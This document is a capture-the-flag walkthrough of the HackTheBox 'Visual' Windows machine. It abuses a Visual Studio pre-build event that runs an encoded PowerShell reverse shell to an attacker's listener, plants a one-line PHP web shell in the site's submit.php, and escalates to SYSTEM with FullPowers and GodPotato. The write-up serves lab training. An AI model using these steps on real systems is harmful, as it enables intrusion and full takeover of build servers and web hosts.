Machine: Visual
Difficulty: Medium
Platform: HackTheBox
Release: Released on 09/30/2023
About Visual
Visual is a medium-difficulty machine on HackTheBox. Initially, we will exploit a website that builds our custom Visual Studio projects by abusing build events to gain access as enox
.
Shell as local service
As enox
, we observed that the HTTP service is running under a different user. By exploiting our write privileges on the website folder, we were able to achieve command execution as local service
using PHP.
Shell as administrator (system)
Upon searching for privilege escalation vectors, we noticed that we could recover all default local service
privileges. One of them is SeImpersonatePrivilege
, which we subsequently abused to gain access as the local administrator.
Recon
As always, let's start with a port scan to discover open ports on the victim machine.
elswix@ubuntu$ nmap -p- --open --min-rate 10000 -v -n 10.10.11.234
Nmap scan report for 10.10.11.234
Host is up (0.15s latency).
Not shown: 65534 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
80/tcp open http
As we can see there is only one port open. This port belongs to an HTTP service.
HTTP Service - Port 80
Before accessing the website through my browser, I will utilize whatweb
to identify technologies and interesting information about the website.
elswix@ubuntu$ whatweb -a 3 10.10.11.234
http://10.10.11.234 [200 OK] Apache[2.4.56], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.1.17], IP[10.10.11.234], OpenSSL[1.1.1t], PHP[8.1.17], Script, Title[Visual - Revolutionizing Visual Studio Builds], X-Powered-By[PHP/8.1.17]
There isn't much information but we can highlight that it runs PHP behind the scenes.
When accessing the website through the web browser, you will encounter the following content:
Wappalyzer indentified the SO of the victim machine:
It is a windows system, surely windows 10.
Upon analysing the website and its content, I noticed that it allows you to upload visual studio projects to build them:
It stands out that they support projects in .NET version 6.0 and C# programs. It also mentions that we have to share our projects through GIT repositories.
In this section, we can enter the URL of the git repository:
Visual Studio - Build events
Build events refer to the tasks that can be executed before or after the build process of a project. These events allow developers to automate certain tasks and customize the build process according to their requirements. There are two main types of build events:
Pre-Build Events: These events occur before the actual compilation and build process. Developers can specify commands or scripts to be executed as part of the pre-build events. Common use cases include tasks like copying files, generating code, or setting up the environment before compilation.
Post-Build Events: These events take place after the build process is complete. Developers can define commands or scripts to run after the successful compilation and linking of the project. Typical post-build tasks include copying the output to a specific location, creating documentation, or triggering additional processes.
If it is true that the website builds our Visual Studio projects, we should be able to achieve command execution on the victim's machine. However, first, we have to create our own Visual Studio project.
Creating the malicious project
For this purpose, I am using a Windows VM to install Visual Studio and the .NET framework. I downloaded Visual Studio 2022, and since it comes with .NET version 8.0 by default, I had to install version 6.0 manually.
Once installed, we have to create a new project:
I selected the Console App
template:
Enter the name of your choice and then click on Next
:
Select version 6.0 of .NET:
Finally, the project was created successfully:
Now, we have to add Build Events. To achieve this, we have to click on Project -> Project Properties
:
Now on Build -> Events
I'll create a PreBuild event:
On the "Pre-build event," you have to enter the command you want to execute before building the project. In this case, I will enter any command; I will modify it later.
Finally, we have to build the project:
As we can see, the prebuild event ran successfully:
I downloaded the project folder on my Linux machine. Now, I will modify the prebuild event with a base64-encoded PowerShell reverse shell from revshells:
elswix@ubuntu$ cat maliciousProject.csproj
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>Exe</OutputType>
<TargetFramework>net6.0</TargetFramework>
<ImplicitUsings>enable</ImplicitUsings>
<Nullable>enable</Nullable>
</PropertyGroup>
<Target Name="PreBuild" BeforeTargets="PreBuildEvent">
<Exec Command="powershell -e JABjAGwAaQBlAG4AdAAgA...[snip]...AC4AQwBsAG8AcwBlACgAKQA=" />
</Target>
</Project>
To share this project with the victim machine, we need to use Git repositories. I downloaded a pre-compiled binary of Gitea and created a new project on my local Gitea server:
elswix@ubuntu$ git init
...[snip]...
Initialized empty Git repository in /home/elswix/Desktop/elswix/HTB/Visual/content/maliciousProject/.git/
elswix@ubuntu$ git checkout -b main
Switched to a new branch 'main'
elswix@ubuntu$ git add .
elswix@ubuntu$ git commit -m "first commit"
[main (root-commit) 7484990] first commit
35 files changed, 349 insertions(+)
create mode 100644 .vs/maliciousProject/DesignTimeBuild/.dtbcache.v2
...[snip]...
create mode 100644 obj/maliciousProject.csproj.nuget.g.targets
create mode 100644 obj/project.assets.json
create mode 100644 obj/project.nuget.cache
elswix@ubuntu$ git remote add origin http://localhost:3000/elswix/maliciousProject.git
elswix@ubuntu$ git push -u origin main
Username for 'http://localhost:3000': elswix
Password for 'http://elswix@localhost:3000':
...[snip]...
elswix@ubuntu$
Before sharing the link to my new Git repo, I will set up my netcat listener on port 3001 as specified in the reverse shell.
elswix@ubuntu$ rlwrap nc -lvnp 3001
Listening on 0.0.0.0 3001
Now, I will enter the link to my Git repo in the input field:
After a while I received the reverse shell on my netcat listener:
elswix@kali$ rlwrap nc -lvnp 3001
Listening on 0.0.0.0 3001
Connection received on 10.10.11.234 49672
whoami
visual\enox
PS C:\Windows\Temp\b98fb944a4bf4c78eb9c86836caa86>
We have successfully gained access to the system as enox
.
We can read user.txt
:
PS C:\Users\enox\desktop> type user.txt
fba81**********************b123a
PS C:\Users\enox\desktop>
As the user enox
, we lack any special privileges.
PS C:\Users\enox\desktop> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\Users\enox\desktop>
While examining the directories in the system root, I noticed intriguing access permissions within the C:\xampp
directory:
PS C:\Users\enox\desktop> cacls c:\xampp
c:\xampp Everyone:(OI)(CI)F
NT AUTHORITY\SYSTEM:(OI)(CI)(ID)F
BUILTIN\Administrators:(OI)(CI)(ID)F
BUILTIN\Users:(OI)(CI)(ID)R
BUILTIN\Users:(CI)(ID)(special access:)
FILE_APPEND_DATA
BUILTIN\Users:(CI)(ID)(special access:)
FILE_WRITE_DATA
CREATOR OWNER:(OI)(CI)(IO)(ID)F
PS C:\Users\enox\desktop>
FILE_APPEND_DATA
: This permission allows a user or group to append data to a file. Users with this permission can add new information to the end of a file without altering the existing content.
FILE_WRITE_DATA
: This permission grants the ability to modify or overwrite the existing data within a file. Users with this permission can make changes to the content of the file, including both appending new data and overwriting existing data.
In summary, we have file modification privileges within the C:\xampp
directory.
Shell as local service
The website folder is located in C:\xampp\htdocs
:
PS C:\xampp\htdocs> ls C:\xampp\htdocs
Directory: C:\xampp\htdocs
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/10/2023 10:32 AM assets
d----- 6/10/2023 10:32 AM css
d----- 6/10/2023 10:32 AM js
d----- 2/24/2024 2:53 AM uploads
-a---- 6/10/2023 6:20 PM 7534 index.php
-a---- 2/24/2024 2:53 AM 1618 submit.php
-a---- 6/10/2023 4:11 PM 4970 vs_status.php
PS C:\xampp\htdocs>
At this point, with file modification privileges throughout the entire C:\xampp
directory, I thought it could be interesting to check who is running the HTTP service. Initially, I assumed it would be enox
since we gained access to the system as that user, but I was not sure at all.
While executing tasklist /v
, I observed that the httpd.exe
process was not being run under the context of the user enox
:
PS C:\xampp\htdocs> tasklist /v | findstr "http"
httpd.exe 2260 0 21,076 K Unknown N/A 0:00:00 N/A
httpd.exe 3480 0 8,120 K Unknown N/A 0:00:00 N/A
PS C:\xampp\htdocs>
You can also use the following commands to check it:
PS C:\xampp\htdocs> $owners = @{}
PS C:\xampp\htdocs> gwmi win32_process |% {try {$owners[$_.handle] = $_.getowner().user} catch{} }
PS C:\xampp\htdocs> (get-process | select processname,Id,@{l="Owner";e={$owners[$_.id.tostring()]}})
ProcessName Id Owner
----------- -- -----
cmd 264 enox
cmd 964 enox
conhost 1256 enox
conhost 1964 enox
conhost 2868 enox
...[snip]...
httpd 2260
httpd 3480
Idle 0
LogonUI 4692
lsass 632
MicrosoftEdgeUpdate 376
msdtc 2696
nssm 2716 enox
powershell 3228 enox
powershell 4208 enox
powershell 5084 enox
Registry 88
services 624
smss 288
...[snip]...
wininit 500
winlogon 540
WmiPrvSE 3420
PS C:\xampp\htdocs>
The processes that don't display any user in the Owners
column are processes that aren't running as enox
. This is due to Windows not allowing us to retrieve all process info without administrator privileges.
As evident, the httpd
process is not running as enox
. Therefore, with file modification privileges in the website folder, we could potentially achieve code execution as the process owner, given that it utilizes PHP.
I will modify the submit.php
file:
PS C:\xampp\htdocs> dir
Directory: C:\xampp\htdocs
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/10/2023 10:32 AM assets
d----- 6/10/2023 10:32 AM css
d----- 6/10/2023 10:32 AM js
d----- 2/24/2024 3:08 AM uploads
-a---- 6/10/2023 6:20 PM 7534 index.php
-a---- 2/24/2024 3:24 AM 1560 submit.php
-a---- 6/10/2023 4:11 PM 4970 vs_status.php
PS C:\xampp\htdocs>
I kept the file identical to its original state; I simply appended the following lines at the beginning of the file (inside the PHP tag):
$cmd = system($_GET["cmd"]);
echo $cmd;
Now, when accessing it through my browser, it will display the following message:
It means that our code is being interpreted correctly, and we can achieve command execution:
We have achieved command execution as nt authority\local service
, so let's attempt to obtain a reverse shell as that user. Firstly, I will setup my netcat listener on port 3001:
elswix@ubuntu$ rlwrap nc -lvnp 3001
Listening on 0.0.0.0 3001
Now, I will reuse the webshell I used earlier from revshells.
Finally, I have received the reverse shell.
elswix@ubuntu$ rlwrap nc -lvnp 3001
Listening on 0.0.0.0 3001
Connection received on 10.10.11.234 49683
PS C:\xampp\htdocs> whoami
nt authority\local service
PS C:\xampp\htdocs>
As local service
, we lack interesting token privileges:
PS C:\xampp\htdocs> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== ========
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
PS C:\xampp\htdocs>
Give Me Back My Privileges! Please?
While exploring potential privilege escalation vectors as local service
, I came across an interesting article discussing privileges associated with nt authority\local service
. It demonstrates how to recover all privileges of the local service
account, including the potential for privilege escalation.
I observed that creating scheduled tasks allows you to regain all privileges. However, to restore the SeImpersonatePrivilege
, you need to include specific specifications during the task registration. It is necessary to specify certain principals to recover this privilege.
The author of the article has developed a potential tool to automate this process. I uploaded the compiled binary from the release page to the victim machine:
PS C:\temp> .\FullPowers.exe -h
FullPowers v0.1 (by @itm4n)
This tool leverages the Task Scheduler to recover the default privilege set of a service account.
For more information: https://itm4n.github.io/localservice-privileges/
Optional arguments:
-v Verbose mode, used for debugging essentially
-c <CMD> Custom command line to execute (default is 'C:\Windows\System32\cmd.exe')
-x Try to get the extended set of privileges (might fail with NETWORK SERVICE)
-z Non-interactive, create a new process and exit (default is 'interact with the new process')
PS C:\temp>
Upon examining the help panel, it is evident that it allows you to execute a command using the -c
parameter. Let's attempt to run whoami /priv
:
PS C:\temp> .\FullPowers.exe -c "whoami /priv"
[+] Started dummy thread with id 2208
[+] Successfully created scheduled task.
[+] Got new token! Privilege count: 7
[+] CreateProcessAsUser() OK
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
PS C:\temp>
Great! Subsequently, I sent a reverse shell to my attacker machine and gained access to the system with all these privileges.
PS C:\Windows\system32> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ========================================= =======
SeAssignPrimaryTokenPrivilege Replace a process level token Enabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Enabled
SeAuditPrivilege Generate security audits Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege Create global objects Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
PS C:\Windows\system32>
Shell as administrator
As we possess the SeImpersonatePrivilege
token, we can elevate our privilege using tools such as JuicyPotatoNG
and others.
As outlined on HackTricks, any process with this privilege can impersonate (although not create) any token, given that it acquires a handle to the token. By inducing a Windows service (DCOM) to undergo NTLM authentication through an exploit, it becomes possible to obtain an elevated token, enabling the execution of a process with SYSTEM privileges.
To attain execution with system privileges, I will utilize GodPotato, specifically opting for the release version GodPotato-NET4.exe
:
PS C:\temp> .\GodPotato-NET4.exe
...[snip]...
Arguments:
-cmd Required:True CommandLine (default cmd /c whoami)
Example:
GodPotato -cmd "cmd /c whoami"
GodPotato -cmd "cmd /c whoami"
PS C:\temp>
Let's execute the example command:
PS C:\temp> .\GodPotato-NET4.exe -cmd "cmd /c whoami"
[*] CombaseModule: 0x140703919112192
[*] DispatchTable: 0x140703921418352
[*] UseProtseqFunction: 0x140703920794528
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] Trigger RPCSS
[*] CreateNamedPipe \\.\pipe\b942aac4-eadc-4a0c-bbec-27cec7d201bb\pipe\epmapper
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 0000e002-10d0-ffff-0b6d-1c22af0a9d8d
[*] DCOM obj OXID: 0xe30faeb47a4b53b4
[*] DCOM obj OID: 0xe8c549bcce717025
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\NETWORK SERVICE
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 888 Token:0x644 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 1684
nt authority\system
PS C:\temp>
As you can see, we have achieved command execution as system
. Once again, I sent a reverse shell to my attacker machine.
elswix@ubuntu$ rlwrap nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.11.234 49689
PS C:\temp> whoami
nt authority\system
PS C:\temp>
Finally, we can read root.txt
:
PS C:\users\administrator\desktop> type root.txt
05b4a**********************485e7
PS C:\users\administrator\desktop>